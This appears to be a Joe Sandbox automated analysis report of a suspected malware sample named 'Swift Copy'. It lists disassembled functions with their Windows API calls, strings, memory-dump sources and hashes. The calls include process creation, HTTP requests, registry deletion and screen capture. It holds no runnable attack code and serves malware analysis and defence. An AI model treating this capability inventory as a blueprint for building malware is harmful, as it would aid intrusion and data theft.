Opcode Fuzzy Hash: 3c47d3bc829e5809837bb4ccb41cecb74dd4b090942c14621cf9616e6d2f1ed8
Instruction Fuzzy Hash: D0E19532A00616ABCB189FA8C8556EDFBB4FF54750F58811BE456B7340DB30AE49CBB1

Function 00D900C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00D900C6

Part of subcall function 00D900ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00E4070C,00000FA0,0F2CF504,?,?,?,?,00DB23B3,000000FF), ref: 00D9011C
Part of subcall function 00D900ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00DB23B3,000000FF), ref: 00D90127
Part of subcall function 00D900ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00DB23B3,000000FF), ref: 00D90138
Part of subcall function 00D900ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00D9014E
Part of subcall function 00D900ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D9015C
Part of subcall function 00D900ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D9016A
Part of subcall function 00D900ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00D90195
Part of subcall function 00D900ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00D901A0

___scrt_fastfail.LIBCMT ref: 00D900E7

Part of subcall function 00D900A3: __onexit.LIBCMT ref: 00D900A9

Strings

SleepConditionVariableCS, xrefs: 00D90154
kernel32.dll, xrefs: 00D90133
InitializeConditionVariable, xrefs: 00D90148
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00D90122
WakeAllConditionVariable, xrefs: 00D90162

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 5c9b81c0f83341c3e3c19eb7b028e2beed4cb88d3011257d064aa6beb75ec4fe
Instruction ID: 9e8a14c55f258ddd4d0955eacf98b4bf4ce25400e4d5f363716eee11f6ac01c7
Opcode Fuzzy Hash: 5c9b81c0f83341c3e3c19eb7b028e2beed4cb88d3011257d064aa6beb75ec4fe
Instruction Fuzzy Hash: A7210B32A45710AFDB216BA5BC09B6A3BA4DB05F51F14023AF901F36D1DB759C448AB1

Function 00DE44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00E0CC08), ref: 00DE4527
_wcslen.LIBCMT ref: 00DE453B
_wcslen.LIBCMT ref: 00DE4599
_wcslen.LIBCMT ref: 00DE45F4
_wcslen.LIBCMT ref: 00DE463F
_wcslen.LIBCMT ref: 00DE46A7

Part of subcall function 00D8F9F2: _wcslen.LIBCMT ref: 00D8F9FD

GetDriveTypeW.KERNEL32(?,00E36BF0,00000061), ref: 00DE4743

Strings

all, xrefs: 00DE4531, 00DE4536
fixed, xrefs: 00DE4635, 00DE463A
network, xrefs: 00DE469D, 00DE46A2
ramdisk, xrefs: 00DE46F1
removable, xrefs: 00DE45EA, 00DE45EF
cdrom, xrefs: 00DE458F, 00DE4594
unknown, xrefs: 00DE4708

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: ea374400a9683b0e3c1187c7a312c225effda207ccafa88db57ebcb9dbb2d806
Instruction ID: 3b6cc769cdb60d2222536a2545912b3f74d50b93341b2650020f451fbd7b2aa5
Opcode Fuzzy Hash: ea374400a9683b0e3c1187c7a312c225effda207ccafa88db57ebcb9dbb2d806
Instruction Fuzzy Hash: D1B1D1316083429FC710EF2AC891A6EB7E5EFA5720F54891DF49AD7291E730D845CBB2

Function 00E0911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D89BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00D89BB2

DragQueryPoint.SHELL32(?,?), ref: 00E09147

Part of subcall function 00E07674: ClientToScreen.USER32(?,?), ref: 00E0769A
Part of subcall function 00E07674: GetWindowRect.USER32(?,?), ref: 00E07710
Part of subcall function 00E07674: PtInRect.USER32(?,?,00E08B89), ref: 00E07720

SendMessageW.USER32(?,000000B0,?,?), ref: 00E091B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00E091BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00E091DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00E09225
SendMessageW.USER32(?,000000B0,?,?), ref: 00E0923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00E09255
SendMessageW.USER32(?,000000B1,?,?), ref: 00E09277
DragFinish.SHELL32(?), ref: 00E0927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00E09371

Strings

@GUI_DRAGFILE, xrefs: 00E09320
@GUI_DRAGID, xrefs: 00E092E9
p#, xrefs: 00E092BB
@GUI_DROPID, xrefs: 00E0929E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#
API String ID: 221274066-136824727
Opcode ID: 924ad3a16ea9d34320ac8a23542c4b4b23c1d2070ff06082c5d9ecef34614bfc
Instruction ID: c6f737c6a122bd406831a3d2ea7ab4abc7ae6b29473d8dabdfee72c8b1cef335
Opcode Fuzzy Hash: 924ad3a16ea9d34320ac8a23542c4b4b23c1d2070ff06082c5d9ecef34614bfc
Instruction Fuzzy Hash: 43617971108301AFC701DF65DC85DAFBBE8EFC9750F104A1DF595A21A1EB319A89CB62

Function 00DFAFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DFB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DFB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DFB1D4
_wcslen.LIBCMT ref: 00DFB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DFB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DFB236
_wcslen.LIBCMT ref: 00DFB332

Part of subcall function 00DE05A7: GetStdHandle.KERNEL32(000000F6), ref: 00DE05C6

_wcslen.LIBCMT ref: 00DFB34B
_wcslen.LIBCMT ref: 00DFB366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00DFB3B6
GetLastError.KERNEL32(00000000), ref: 00DFB407
CloseHandle.KERNEL32(?), ref: 00DFB439
CloseHandle.KERNEL32(00000000), ref: 00DFB44A
CloseHandle.KERNEL32(00000000), ref: 00DFB45C
CloseHandle.KERNEL32(00000000), ref: 00DFB46E
CloseHandle.KERNEL32(?), ref: 00DFB4E3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 5a93c9679c33e9070725686be38d0a0d28d2c78a04607c5e0dd1be6e36591ebd
Instruction ID: 578b0f307d6a5bd00f33560d9540fe98f654aaa5546444ae5745e1b0a14608ea
Opcode Fuzzy Hash: 5a93c9679c33e9070725686be38d0a0d28d2c78a04607c5e0dd1be6e36591ebd
Instruction Fuzzy Hash: 04F17A315042449FC714EF24C891B2ABBE1EF85724F19895EF9999B2A2DB31EC44CB72

Function 00D7326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00E41990), ref: 00DB2F8D
GetMenuItemCount.USER32(00E41990), ref: 00DB303D
GetCursorPos.USER32(?), ref: 00DB3081
SetForegroundWindow.USER32(00000000), ref: 00DB308A
TrackPopupMenuEx.USER32(00E41990,00000000,?,00000000,00000000,00000000), ref: 00DB309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00DB30A9

Strings

0, xrefs: 00D7327D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 55b4c309496a00d4a418ec4e56e6babb659477564c3f6305f2aab0f0fd79c511
Instruction ID: 1d3d857678dccc7842f7c31648db2602340d0ba48fd23c06bb31c72821ac4275
Opcode Fuzzy Hash: 55b4c309496a00d4a418ec4e56e6babb659477564c3f6305f2aab0f0fd79c511
Instruction Fuzzy Hash: A271F271640205FEEB219F2ACC49FFABF64FF04364F244206F5296A1E1C7B2A954DB60

Function 00E06CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00E06DEB

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00E06E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00E06E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E06E94
DestroyWindow.USER32(?), ref: 00E06EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00D70000,00000000), ref: 00E06EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E06EFD
GetDesktopWindow.USER32 ref: 00E06F16
GetWindowRect.USER32(00000000), ref: 00E06F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E06F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00E06F4D

Part of subcall function 00D89944: GetWindowLongW.USER32(?,000000EB), ref: 00D89952

Strings

tooltips_class32, xrefs: 00E06E58, 00E06EDD
0, xrefs: 00E06D98

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: a05449c7296f3207831183652e21aa2d51d45f3e57dc96c40e05b889b44996f7
Instruction ID: 3d6286d67e2b132560c1674c895779439fa844deaafd13c5173a88a4d4700121
Opcode Fuzzy Hash: a05449c7296f3207831183652e21aa2d51d45f3e57dc96c40e05b889b44996f7
Instruction Fuzzy Hash: 00719C74100341AFDB21CF19DC44FAABBE9FB89708F14051DF689A72A1D771E99ACB12

Function 00DEC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00DEC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00DEC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00DEC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00DEC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00DEC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00DEC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DEC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00DEC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00DEC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00DEC5F0
InternetCloseHandle.WININET(00000000), ref: 00DEC5FB

Strings

, xrefs: 00DEC575

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: cbf77d460b4cbb9d9b70cf25da592048fc7cf4fff7eb10ca34ec8240a608bae1
Instruction ID: 57394d2f178add36145f2e3ed67be6c4c724181f12a2f8b10ababc7c043d51e4
Opcode Fuzzy Hash: cbf77d460b4cbb9d9b70cf25da592048fc7cf4fff7eb10ca34ec8240a608bae1
Instruction Fuzzy Hash: C7519EB0110788BFDB21AF62C948AAB7BFCFF08744F14551AF94596250DB31E949DB70

Function 00E0856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00E08592
GetFileSize.KERNEL32(00000000,00000000), ref: 00E085A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00E085AD
CloseHandle.KERNEL32(00000000), ref: 00E085BA
GlobalLock.KERNEL32(00000000), ref: 00E085C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00E085D7
GlobalUnlock.KERNEL32(00000000), ref: 00E085E0
CloseHandle.KERNEL32(00000000), ref: 00E085E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00E085F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,00E0FC38,?), ref: 00E08611
GlobalFree.KERNEL32(00000000), ref: 00E08621
GetObjectW.GDI32(?,00000018,000000FF), ref: 00E08641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00E08671
DeleteObject.GDI32(00000000), ref: 00E08699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00E086AF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: cdf2df8ac72b20792773084263c68dccfd64656618c9d6c073476161807b3e66
Instruction ID: a0a876359bb63fa409f30028fbb0176dedcc4f33351c35ce0c9e4ba6c9f4d81e
Opcode Fuzzy Hash: cdf2df8ac72b20792773084263c68dccfd64656618c9d6c073476161807b3e66
Instruction Fuzzy Hash: EE414C71600204EFDB119FA5DD88EAA7BB8FF89715F108158F945E72A0DB319985CB20

Function 00DE14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00DE1502
VariantCopy.OLEAUT32(?,?), ref: 00DE150B
VariantClear.OLEAUT32(?), ref: 00DE1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00DE15FB
VarR8FromDec.OLEAUT32(?,?), ref: 00DE1657
VariantInit.OLEAUT32(?), ref: 00DE1708
SysFreeString.OLEAUT32(?), ref: 00DE178C
VariantClear.OLEAUT32(?), ref: 00DE17D8
VariantClear.OLEAUT32(?), ref: 00DE17E7
VariantInit.OLEAUT32(00000000), ref: 00DE1823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00DE1625
Default, xrefs: 00DE16AF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 51865064b579b5916f3d9d2930ba00ef12cefa1f4e676d3decfd4e5c3ebd003d
Instruction ID: 34882b6418e38f4f1b8a4df5b678fa16daee4b364b8cc7a8a74a7cc5976365d0
Opcode Fuzzy Hash: 51865064b579b5916f3d9d2930ba00ef12cefa1f4e676d3decfd4e5c3ebd003d
Instruction Fuzzy Hash: 03D1DC76B00245EBDB01BF66D885BADB7B5FF44700F24855AE886AB184DB30EC84DB71

Function 00DFB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00DFC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DFB6AE,?,?), ref: 00DFC9B5
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFC9F1
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFCA68
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DFB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00DFB772
RegDeleteValueW.ADVAPI32(?,?), ref: 00DFB80A
RegCloseKey.ADVAPI32(?), ref: 00DFB87E
RegCloseKey.ADVAPI32(?), ref: 00DFB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00DFB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00DFB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00DFB922
FreeLibrary.KERNEL32(00000000), ref: 00DFB983
RegCloseKey.ADVAPI32(00000000), ref: 00DFB994

Strings

RegDeleteKeyExW, xrefs: 00DFB8FE
advapi32.dll, xrefs: 00DFB8ED

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 5588437f3e01d999477dca3e8b7063ec73a0f0dd2a0fcf8f7b69ebbf90d61f49
Instruction ID: 80562c3d03429b384feade8840153cedb9aaf8ab79512e6a457a27af47fbc186
Opcode Fuzzy Hash: 5588437f3e01d999477dca3e8b7063ec73a0f0dd2a0fcf8f7b69ebbf90d61f49
Instruction Fuzzy Hash: 25C18B30204205AFD710DF24C495F2ABBE5EF84318F69C55DE69A8B2A2DB71E845CFA1

Function 00DF255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00DF25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00DF25E8
CreateCompatibleDC.GDI32(?), ref: 00DF25F4
SelectObject.GDI32(00000000,?), ref: 00DF2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00DF266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00DF26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00DF26D0
SelectObject.GDI32(?,?), ref: 00DF26D8
DeleteObject.GDI32(?), ref: 00DF26E1
DeleteDC.GDI32(?), ref: 00DF26E8
ReleaseDC.USER32(00000000,?), ref: 00DF26F3

Strings

(, xrefs: 00DF268D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
